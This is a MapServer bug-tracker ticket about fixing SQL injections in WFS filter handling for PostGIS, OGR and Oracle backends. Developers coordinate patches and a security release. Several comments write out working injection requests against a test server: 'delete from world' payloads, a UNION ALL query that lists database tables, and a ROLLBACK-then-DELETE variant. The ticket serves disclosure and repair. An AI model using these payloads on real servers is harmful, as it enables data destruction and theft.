Opened 7 years ago

Closed 7 years ago

#3874 closed defect (fixed)

Multiple SQL injections possible on PostGIS layers with a WFS FE filter

Reported by: rouault Owned by: assefa
Priority: normal Milestone: 6.0.1 release
Component: Security/Vulnerability (Private) Version: svn-trunk (development)
Severity: normal Keywords:
Cc: aboudreault, assefa, sdlime, dmorissette, pramsey, colivier, msmitherdc

Description

I've been able to trigger a SQL injection with svn trunk when running the following WFS GetFeature? request :

http://127.0.0.1:8080/mapserv.cgi?map=pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&
FILTER=<Filter><And><PropertyIsEqualTo><PropertyName>name</PropertyName>
<Literal>')); delete from world; select (('
</Literal></PropertyIsEqualTo>
<BBOX><PropertyName>msGeometry</PropertyName>
<gml:Box><gml:coordinates>-90,-180 90,180</gml:coordinates></gml:Box>
</BBOX></And></Filter>

The 'delete from world' is run...

Also with the Literal of a PropertyIsLike? :

http://127.0.0.1:8080/mapserv.cgi?map=pg.map&SERVICE=WFS&
VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&
FILTER=<Filter  xmlns:gml="http://www.opengis.net/gml"><And>
<PropertyIsLike wildCard='*' singleChar='_' escapeChar='!'>
<PropertyName>name</PropertyName>
<Literal>')); delete from world; select name from world WHERE ((name LIKE '</Literal>
</PropertyIsLike><BBOX><PropertyName>msGeometry</PropertyName><gml:Box><gml:coordinates>-90,-180 90,180</gml:coordinates></gml:Box></BBOX></And></Filter>

Also with the PropertyName? :

map=pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&
TYPENAME=world&FILTER=<Filter><And>
<PropertyIsLike wildCard='*' singleChar='_' escape='X'>
<PropertyName>name = 'a')); delete from world; select * from world where ((name</PropertyName>
<Literal>a</Literal></PropertyIsLike><BBOX><PropertyName>msGeometry</PropertyName><gml:Box><gml:coordinates>-90,-180 90,180</gml:coordinates></gml:Box></BBOX></And></Filter>

FLTGetIsBetweenComparisonSQLExpresssion() seems to be unaffected as far as the UpperBound? and LowerBound? are concerned because of the following check :

    aszBounds = msStringSplit(psFilterNode->psRightNode->pszValue, ';', &nBounds);
    if (nBounds != 2)
      return NULL;

However there are perhaps more clever ways of exploiting it despite that.

The issue likely affects previous MS versions, and perhaps other backends, and perhaps other places in the code I haven't seen.

Attached a patch that fixes the issue, but it is not perfect. See comment in the patch.

Attachments (18)

mapogcfilter_fix_sql_injections_ticket_3874.patch (9.3 KB) - added by rouault 7 years ago.
pg.map (683 bytes) - added by rouault 7 years ago.
mapogcfilter_fix_sql_injections_ticket_3874_v2.patch (10.2 KB) - added by rouault 7 years ago.
v2 of the patch -> fixes the processing of escapeChar in LIKE
bug3874_trunk.patch (12.5 KB) - added by assefa 7 years ago.
patch against svn for theis bug and #3876
bug3874_trunk_2.patch (15.2 KB) - added by assefa 7 years ago.
patch aginst trunk
check_3874.sh (2.3 KB) - added by unicoletti 7 years ago.
vulnerability check script for mapserver users
exploits_examples.txt (21.7 KB) - added by assefa 7 years ago.
exploits examples
bug3874_trunk_3.patch (15.4 KB) - added by rouault 7 years ago.
Updated version of patch against trunk to fix also OGR vulnerabilities
bug3874_trunk_4.patch (23.6 KB) - added by assefa 7 years ago.
patch aginst trunk (using driver specific escapes)
bug3874_trunk_5.patch (22.7 KB) - added by assefa 7 years ago.
patch against trunk
bug3874_trunk_6.patch (24.3 KB) - added by assefa 7 years ago.
patch against trunk
bug3874_6.0.x.patch (24.3 KB) - added by assefa 7 years ago.
patch against 6.0 branch
bug3874_5.6.x.patch (35.8 KB) - added by assefa 7 years ago.
patch against 5.6 branch
bug3874_5.4.x.patch (35.7 KB) - added by assefa 7 years ago.
patch against 5.4 branch
bug3874_5.2.x.patch (35.6 KB) - added by assefa 7 years ago.
patch against 5.2 branch
bug3874_5.0.x.patch (35.1 KB) - added by assefa 7 years ago.
patch against 5.0 branch
bug3874_4.10.x.patch (35.1 KB) - added by assefa 7 years ago.
patch against 4.10 branch
release-6.0.1_draft.txt (2.3 KB) - added by dmorissette 7 years ago.
Draft 3 of the release announcement.

Download all attachments as: .zip

Change History (67)

Changed 7 years ago by rouault

Attachment: pg.map added

comment:1 Changed 7 years ago by dmorissette

Cc: assefa sdlime dmorissette added
Milestone: 6.0.1 release

comment:2 Changed 7 years ago by rouault

Ah, and the data to reproduce is the world.shp injected in a postgis instance, coming from http://tinyows.org/trac/browser/trunk/demo

comment:3 Changed 7 years ago by assefa

Owner: changed from aboudreault to assefa

comment:4 Changed 7 years ago by assefa

I was able to duplicate this and verify that applying the patch was preventing the injection. I am also checking the #3876 and preparing a patch

I intend to apply the patch to 6.0.x, current trunk and 5.6.x. Should I just commit when I am ready? I will add a generic note on security in HISTORY.txt.

I also checked the oracle back end to see but was not able to exploit it, although It seems to be exploitable. Here is what end up being executed at the driver level for a valid request using :

SELECT OGR_FID, AREA, PERIMETER, POPPLACE_, POPPLACE_I, UNIQUE_KEY, NAME, NAME_E, NAME_F, UNIQUE_K_1, UNIQUE_K_2, REG_CODE, NTS50, LAT, LON, SGC_CODE, CAPITAL, POP_RANGE, rownum, ORA_GEOMETRY FROM POPPLACE_MSAUTOTEST3 WHERE   (NAME= 'Halifax') 

a request such as this:

http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/projects/mapserver-buildkit-2008/mapserver/msautotest/wxs/wfs_filter_mine.map&&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=popplace_oracle&FILTER=<Filter><PropertyIsEqualTo><PropertyName>NAME_E</PropertyName><Literal>'); delete from POPPLACE_MSAUTOTEST3; (select '</Literal></PropertyIsEqualTo></Filter>

would end up being

SELECT OGR_FID, AREA, PERIMETER, POPPLACE_, POPPLACE_I, UNIQUE_KEY, NAME, NAME_E, NAME_F, UNIQUE_K_1, UNIQUE_K_2, REG_CODE, NTS50, LAT, LON, SGC_CODE, CAPITAL, POP_RANGE, rownum, ORA_GEOMETRY FROM POPPLACE_MSAUTOTEST3 WHERE   (NAME_E= ''); delete from POPPLACE_MSAUTOTEST3; (select '')

I was not able to concatenate several commands to exploit it using semi-column. Not sure if having several commands like this is allowed. I was not able to do it on the command line with the sql plus that comes with my oracle installation. If someone sees a possibility, please let me know.

comment:5 Changed 7 years ago by dmorissette

Cc: aboudreault added

Thank you for looking into this Assefa.

Please do not commit anything to SVN until we are ready to release (we'll need to coordinate this via email with other devs and the binary package maintainers). Perhaps you could attach the patches to the tickets in the meantime so that they can be tested on all platforms.

You suggest patching trunk, 6.0.x and 5.6.x ... does this mean that you have verified that 5.4.x and older would not be vulnerable? In the past we have gone back as far as 4.10.x with security fixes (some distros such as Debian still carry very old MapServer versions), so we should find out which releases are vulnerable and consider applying the fix to all of them.

About Oracle being exploitable or not, I'm not sure either. Maybe Alan would have an idea, or otherwise we could include someone more familiar with Oracle in the loop?

comment:6 Changed 7 years ago by assefa

I did not go back to older versions. I can certainly check 5.4, 5.2,5.0 and possibly 4.10 prepare a patchs.

Yes any one with Oracle knowledge is wellcome.

comment:7 Changed 7 years ago by dmorissette

Cc: pramsey colivier added

Added pramsey and colivier to private security group and CC'd on this ticket.

comment:8 Changed 7 years ago by aboudreault

About the ORACLE Driver. I did a quick test and Assefa is right. I don't think we can exploit oracle driver. We got the error: ORA-00911, invalid character, when we try to use OCISTMTExecute() with a statement that contains a semi-colon. It is clearly stated here: http://www.dba-oracle.com/sf_ora_00911_invalid_character.htm

The semi-colon is an invalid character, causing ORA-00911 to appear.  To fix, you should try the SQL again without the inappropriate semi-colon to remedy the ORA-00911 error.

comment:9 Changed 7 years ago by rouault

When reading again my patch, I observed that I broke the processing of escapeChar in LIKE clause. But when I fixed it, I found that in the code before the patch, there was another opportunity for SQL injection :

http://127.0.0.1:8080/mapserv.cgi?map=pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=<Filter  xmlns:gml="http://www.opengis.net/gml"><And><PropertyIsLike wildCard='*' singleChar='_' escapeChar='W'><PropertyName>name</PropertyName><Literal>W')); delete from world; --</Literal></PropertyIsLike><BBOX><PropertyName>msGeometry</PropertyName><gml:Box><gml:coordinates>-90,-180 90,180</gml:coordinates></gml:Box></BBOX></And></Filter>

The new patch -v2 I've attached makes escaping work again and hopefully prevent the risk of SQL injection in it. Note also that for extra safety, I've disabled the use of single quote character as the escaping character (my brain exploded when wanting to make this work), whose use would clearly show some bad intention from the user.

Changed 7 years ago by rouault

v2 of the patch -> fixes the processing of escapeChar in LIKE

Changed 7 years ago by assefa

Attachment: bug3874_trunk.patch added

patch against svn for theis bug and #3876

comment:10 Changed 7 years ago by assefa

I have attached the patch against trunk. This is based on Even's last patch + patch for #3876. I did not include the change from PQexec to PQexecParams. Hopefully this is ok.

I am testing this patch against previous versions and will report when I am ready to commit.

The test cases I am using are:

http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=<Filter><And><PropertyIsEqualTo><PropertyName>name</PropertyName><Literal>')); delete from world; select (('</Literal></PropertyIsEqualTo><BBOX><PropertyName>msGeometry</PropertyName><gml:Box><gml:coordinates>-90,-180 90,180</gml:coordinates></gml:Box></BBOX></And></Filter>
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=<Filter  xmlns:gml="http://www.opengis.net/gml"><And><PropertyIsLike wildCard='*' singleChar='_' escapeChar='!'><PropertyName>name</PropertyName><Literal>')); delete from world; select name from world WHERE ((name LIKE '</Literal></PropertyIsLike><BBOX><PropertyName>msGeometry</PropertyName><gml:Box><gml:coordinates>-90,-180 90,180</gml:coordinates></gml:Box></BBOX></And></Filter>
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=<Filter><And><PropertyIsLike wildCard='*' singleChar='_' escape='X'><PropertyName>name = 'a')); delete from world; select * from world where ((name</PropertyName><Literal>a</Literal></PropertyIsLike><BBOX><PropertyName>msGeometry</PropertyName><gml:Box><gml:coordinates>-90,-180 90,180</gml:coordinates></gml:Box></BBOX></And></Filter>
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&PROPERTYNAME=name&FEATUREID=world.6,world.7)));DELETE FROM world;SELECT name FROM world WHERE (((ogc_fid = 6

comment:11 Changed 7 years ago by rouault

About FLTGetIsBetweenComparisonSQLExpresssion(), I didn't manage to exploit it to alter data, but it is exploitable to leak data from other tables. So escaping of aszBounds[0] and aszBounds[1] could be appropriate.

The following exploit can be used to list the names of the tables of the database, and later it opens the door to get their content.

REQUEST_METHOD=GET QUERY_STRING="map=pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=<Filter><PropertyIsBetween><PropertyName>name</PropertyName><LowerBoundary><Literal>France' and 'France')) AND 1 = 0 UNION ALL SELECT 0,c.relname,n.nspname,'',encode(ST_AsBinary(ST_GeomFromText('POLYGON((2 49,3 50,4 51,2 49))')),'hex'),0 FROM pg_class c, pg_namespace n WHERE SUBSTR(c.relname,0,3) != 'pg_'  AND c.relkind = 'r' AND c.relnamespace=n.oid  --</Literal></LowerBoundary><UpperBoundary><Literal>France</Literal></UpperBoundary></PropertyIsBetween></Filter>" ./mapserv

comment:12 Changed 7 years ago by assefa

Thanks. Adding this test

http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=<Filter><PropertyIsBetween><PropertyName>name</PropertyName><LowerBoundary><Literal>France' and 'France')) AND 1 = 0 UNION ALL SELECT 0,c.relname,n.nspname,'',encode(ST_AsBinary(ST_GeomFromText('POLYGON((2 49,3 50,4 51,2 49))')),'hex'),0 FROM pg_class c, pg_namespace n WHERE SUBSTR(c.relname,0,3) != 'pg_'  AND c.relkind = 'r' AND c.relnamespace=n.oid --</Literal></LowerBoundary><UpperBoundary><Literal>France</Literal></UpperBoundary></PropertyIsBetween></Filter>

I was able to reproduce it in 6.0 and added a patch against it.

comment:13 Changed 7 years ago by aboudreault

Assefa, is the patch final? If so, I'm going to send the patch to the debian security guy who will check it and who will give me the CVE id.

Changed 7 years ago by assefa

Attachment: bug3874_trunk_2.patch added

patch aginst trunk

comment:14 Changed 7 years ago by assefa

Attached the patch against trunk. Do you need patches for each version attached to this bug?

comment:15 Changed 7 years ago by aboudreault

Assefa, I see you have added a method to escape strings. Aren't there something already native functions in postgres to do that? Or is there a reason why we couldn't use prepared statements? (sorry if I missed something in any discussions)

comment:16 Changed 7 years ago by assefa

Are you talking about PQescapeStringConn? Even noted that also when preparing the patch but the layerinfo was not available at that point. There is a note on that in the bug.

I guess prepared statements could have been used at in postgis before calling an exec. Is that what you meant? I am not sure though I understand why this is relevant here. Would that prevent something that is not prevented by PQexecParams?

comment:17 Changed 7 years ago by aboudreault

Even if the result is the same, debian security guys always comment and ask why we do things in some way rather than the prefered way. I think prepared statements are secure and we don't need to escape anything.(IIRC) Will check If I couldn't take some time for this and modify to use prepared statements to get the patch accepted by security team.

comment:18 Changed 7 years ago by rouault

Prepared statements would be a better solution indeed. But it looks like it will require patching more code because you need to store the values and provide them in an array to PQexecParams(), whereas currently the methods only return a char* type. The methods should likely then return a structure that has the SQL string and the array.

comment:19 Changed 7 years ago by aboudreault

Thanks rouault for the explanation. I'm going to mention that to the sec guys and also that we try to produce a working patch as soon as possible and that our current software architecture does not allow this without further work.

comment:20 Changed 7 years ago by aboudreault

Of course, we could do create a ticket for that as a good enhancement.

Changed 7 years ago by unicoletti

Attachment: check_3874.sh added

vulnerability check script for mapserver users

Changed 7 years ago by assefa

Attachment: exploits_examples.txt added

exploits examples

comment:21 Changed 7 years ago by assefa

I have attached the patches for versions >= 4.10.

I have also created a general ticket #3903 that I will use to refer the commits.

I was mostly able to use the exploit examples (see attached) to reproduce the problems and verify the fixes for version 5.4 and up. For versions lower than that, the examples would not work and I was not able to produce a way to exploit them. I have still patched the code to prevent any injections.

If I do not hear any significant objections, I will start committing either late tonight or tomorrow.

comment:22 Changed 7 years ago by dmorissette

Thank you very much for your work on all the patches Assefa. Please wait until we are ready to announce the release before committing (we need to document the issues for users to determine if they need to upgrade, coordinate with the binary package maintainers, prepare the announcement, etc.)

comment:23 Changed 7 years ago by assefa

I will wait until all things are sorted out before committing.

comment:24 Changed 7 years ago by dmorissette

Cc: msmitherdc added

Adding msmitherdc to get more eyes on the Oracle side of things

comment:25 Changed 7 years ago by rouault

MapServer 4.10 is also vulnerable. You need to add a ROLLBACK to close the BEGIN before issuing nasty things. So data erasing and updating is possible, but I don't think stealing and retrieving data from other tables is possible because of the way the 2-passes algorithm works.

REQUEST_METHOD=GET QUERY_STRING="map=pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=<Filter><And><PropertyIsEqualTo><PropertyName>name</PropertyName><Literal>France'); ROLLBACK; DELETE FROM world; --</Literal></PropertyIsEqualTo><BBOX><PropertyName>msGeometry</PropertyName><gml:Box><gml:coordinates>-180,-90 180,90</gml:coordinates></gml:Box></BBOX></And></Filter>"  ./mapserv

comment:26 Changed 7 years ago by msmitherdc

Oracle sql statements do not allow stacking commands (eg select xx from yyy; delete from zzz;) in a single execution. However, there is a vulnerability to information leakage by allowing addition of union all selects into the original select string. Any table that the user being used for the connection that has select privileges is vulnerable.

there is a package in Oracle 10gR1 or later called DBMS_ASSERT that can be used to check for embedded quotes, evaluate for existing sql objects, etc. See examples here (http://www.oracle-base.com/articles/10g/dbms_assert_10gR2.php).

comment:27 Changed 7 years ago by rouault

Well, I've discovered that OGR layers are also vulnerable. I've reproduced injections similar to the ones of the mapserver native postgis backend with a OGR Postgis layer. I'll upload a bug3874_trunk_3.patch with various fixes :

  • It removes the connectiontype == MS_POSTGIS tests in FLTGetBinaryComparisonSQLExpresssion() (quoting of the string literal values) and FLTGetIsLikeComparisonSQLExpression().
I've also changed FLTGetEscapedPropertyName() to implement a specific behaviour for MS_OGR : only property names that satisfy (isalnum(ch)
ch == '_' ch > 127) for each character are considered valid. Others will be rejected, actually replaced by a 'invalid_property_name' string, so that the request fail (I'm not sure how an exception could be thrown at that point, being not familiar enough with MS exception mechanism). Why doing this and not properly quoting ? Well the issue is that the quoting/escaping of field names depend on the actual OGR backend : PG and SQlite uses double-quotes, whereas MySQL uses back-quotes. So better reject suspicious field names. This should hopefully not cause regressions, since no quoting was done previously. It could only have worked if the the user had quoted himself the property name...

Changed 7 years ago by rouault

Attachment: bug3874_trunk_3.patch added

Updated version of patch against trunk to fix also OGR vulnerabilities

comment:28 Changed 7 years ago by aboudreault

Note that I've been able to reproduce the UNION ALL sql injection using oracle driver.

comment:29 in reply to:  28 Changed 7 years ago by aboudreault

Replying to aboudreault:

Note that I've been able to reproduce the UNION ALL sql injection using oracle driver.

I confirm that the patch of assefa fixes the vulnerability.

Changed 7 years ago by assefa

Attachment: bug3874_trunk_4.patch added

patch aginst trunk (using driver specific escapes)

Changed 7 years ago by assefa

Attachment: bug3874_trunk_5.patch added

patch against trunk

Changed 7 years ago by assefa

Attachment: bug3874_trunk_6.patch added

patch against trunk

Changed 7 years ago by assefa

Attachment: bug3874_6.0.x.patch added

patch against 6.0 branch

Changed 7 years ago by assefa

Attachment: bug3874_5.6.x.patch added

patch against 5.6 branch

Changed 7 years ago by assefa

Attachment: bug3874_5.4.x.patch added

patch against 5.4 branch

Changed 7 years ago by assefa

Attachment: bug3874_5.2.x.patch added

patch against 5.2 branch

Changed 7 years ago by assefa

Attachment: bug3874_5.0.x.patch added

patch against 5.0 branch

Changed 7 years ago by assefa

Attachment: bug3874_4.10.x.patch added

patch against 4.10 branch

comment:30 Changed 7 years ago by rouault

Steve,

about the release announcement, is it true to state that "Versions 5.6.7 and 4.10.7 only include fixes for the security vulnerabilities described below" ? I imagine 5.6.7 will be tagged from branch-5-6. I see that 5.6.6 was tagged at revision r10875 ( https://trac.osgeo.org/mapserver/log/tags/rel-5-6-6 ) but now branch-5-6 is at revision r11824 ( https://trac.osgeo.org/mapserver/log/branches/branch-5-6 ). So there will be about a dozain other fixes than just the security fix mentionned in the announcement ? Unless you intend to do a 5.6.7 directly branched from the rel-5-6-6 tag ?

At line 26, small typo "necssary" --> "necessary"

comment:31 Changed 7 years ago by jmckenna

re: draft release: I would change the first sentence to:

  The MapServer team announces the release of MapServer versions 6.0.1, 5.6.7 and 4.10.7.  All users are **strongly encouraged** to upgrade to these latest releases.

comment:32 Changed 7 years ago by assefa

All patches were done against the branch versions and my understanding is that a new release would happen for all of them. As noted by Even for the branch 5.6 branch, all other branches (at leased based on the HISTORY) have few others fixed that were already committed. I was also expecting to commit these patches for this to happen.

comment:33 Changed 7 years ago by sdlime

Thanks for the feedback. I'll change the text to note the other small changes made to the other versions since their last official release. I'll also fix "necessary" and add some emphasis as Jeff suggested. Version 2 is now uploaded (I overwrote the original)...

In terms of what versions we should officially release, the note was patterned off a similar situation (ironically) a year ago. In that case we released in the most recent branch of the 4 and 5 series and would add 6 to the mix for this one. The other branches would all be patched. I'm thinking this is a good pattern to follow in this case too.

Steve

comment:34 Changed 7 years ago by assefa

What is next on this? Let me know when I can commit using #3903.

comment:35 Changed 7 years ago by sdlime

I think we still need:

  • confirmation on the binary releases. I know Dan pinged folks late last week but I don't know if he heard back.
  • a release manager (I'm hoping Dan can continue...)
  • confirmation the release note is cool, especially the part about only formally releasing 4.10.7, 5.6.7 and 6.0.1.

Steve

comment:36 Changed 7 years ago by dmorissette

I was hoping for some feedback on all DB backends, but since nobody is stepping up for testing we'll just release as is and hope for the best.

On the points that Steve mentioned:

  • I will forward the patches to the binary package maintainers now, hoping for feedback by tomorrow
  • I will continue as release manager for this and try to get the release out tomorrow or Wednesday at the latest
  • I will let Assefa know when it's time to commit the patches to SVN
  • With respect to the release note:
    • I would have personally gone for source release of the 5.0.x, 5.2.x and 5.4.x branches as well for convenience, but what you've got there can work too
    • I'm not sure if this note is sufficient to address Umberto's concerns about informing users of the seriousness of the issues and helping them decide if they should upgrade... I will let him comment on that

comment:37 Changed 7 years ago by dmorissette

For the record, the patches about to be released include fixes for the following private tickets:

  • #3874 - (this ticket) Possible SQL injection in WFS FE
  • #3876 - SQL injection vulnerability in FLTGetSQLExpression on FILTER_NODE_TYPE_FEATUREID request
  • #3907 - SQL injection vulnerability in WMS time
  • #3945 - Potential unsafe code in SOS code
  • Some dangerous buffer overflows (no ticket??)

Changed 7 years ago by dmorissette

Attachment: release-6.0.1_draft.txt added

Draft 3 of the release announcement.

comment:38 Changed 7 years ago by dmorissette

I have updated the draft release announcement to fix a typo and refer to ticket #3903 (the only public facing ticket for all the issues AFAIK).

comment:39 Changed 7 years ago by jmckenna

I notice a fancy check script is attached to this ticket (nice!), but I think I missed the discussion around the test script. Is there an equivalent for Windows? I believe those test scripts (for Unix and Windows) should be attached to the public ticket, and then mentioned in the release announcement.

comment:40 Changed 7 years ago by jmckenna

more thoughts:

  • on the public ticket we should include tests for all of the private tickets/issues (it could even be an archived gmap instance with example commands)....maybe all this exists, but I haven't found it yet (only because I am a packager and I need to know how to test this....but I honestly can't find a nice way to test).

Comments welcome!

comment:41 Changed 7 years ago by rouault

I'm not particularly enthousiastic about the check_3874.sh script to detect unpatched versions. It is based on version numbers, but Linux distros have a tendency not to upgrade to the latest released point version and just apply the security patch. So they just increase their binary package version, not the version number of upstream project. A saner approach would be to test the presence of the new escaping functions for example. But, personnaly, I don't think so much pain is needed. Yelling "Upgrade now !" should be sufficient.

Not sure to understand which tests you are talking about. You mean the exploits ? I think the policy was to not disclose them to script kiddies.

comment:42 Changed 7 years ago by assefa

jeff, why not use the map (pg.map) provided in this bug with exploits_examples.txt for testing? I am not convinced that providing detailed way of exploiting MS should be made public.

comment:43 Changed 7 years ago by jmckenna

no worries, please ignore my testing requests.

comment:44 Changed 7 years ago by assefa

commits:

comment:45 Changed 7 years ago by dmorissette

Created ticket #3956 for the potentially exploitable buffer overflows in V4.10 to 5.6 for which fixes are also included in the patches (6.0.0 already contained fixes for those problems)

comment:46 Changed 7 years ago by dmorissette

Committed r11910 in SVN branch-6-0 (v6.0.1) and r11913 in SVN trunk to add missing #ifdef USE_POSTGIS in msPostGISEscapeSQLParam() to allow building without postgis support.

comment:47 Changed 7 years ago by assefa

missed postgis function in patches 5.6 (r11914), 5.4 (r11916), 5.2 (r11921), 5.0 (r11922), 4.10 (r11915)

comment:48 Changed 7 years ago by sdlime

Can this be closed? This would have been fixed in the 6.0.1, 5.6.7, etc... releases.

Steve

comment:49 Changed 7 years ago by assefa

Resolution: fixed
Status: newclosed
Note: See TracTickets for help on using tickets.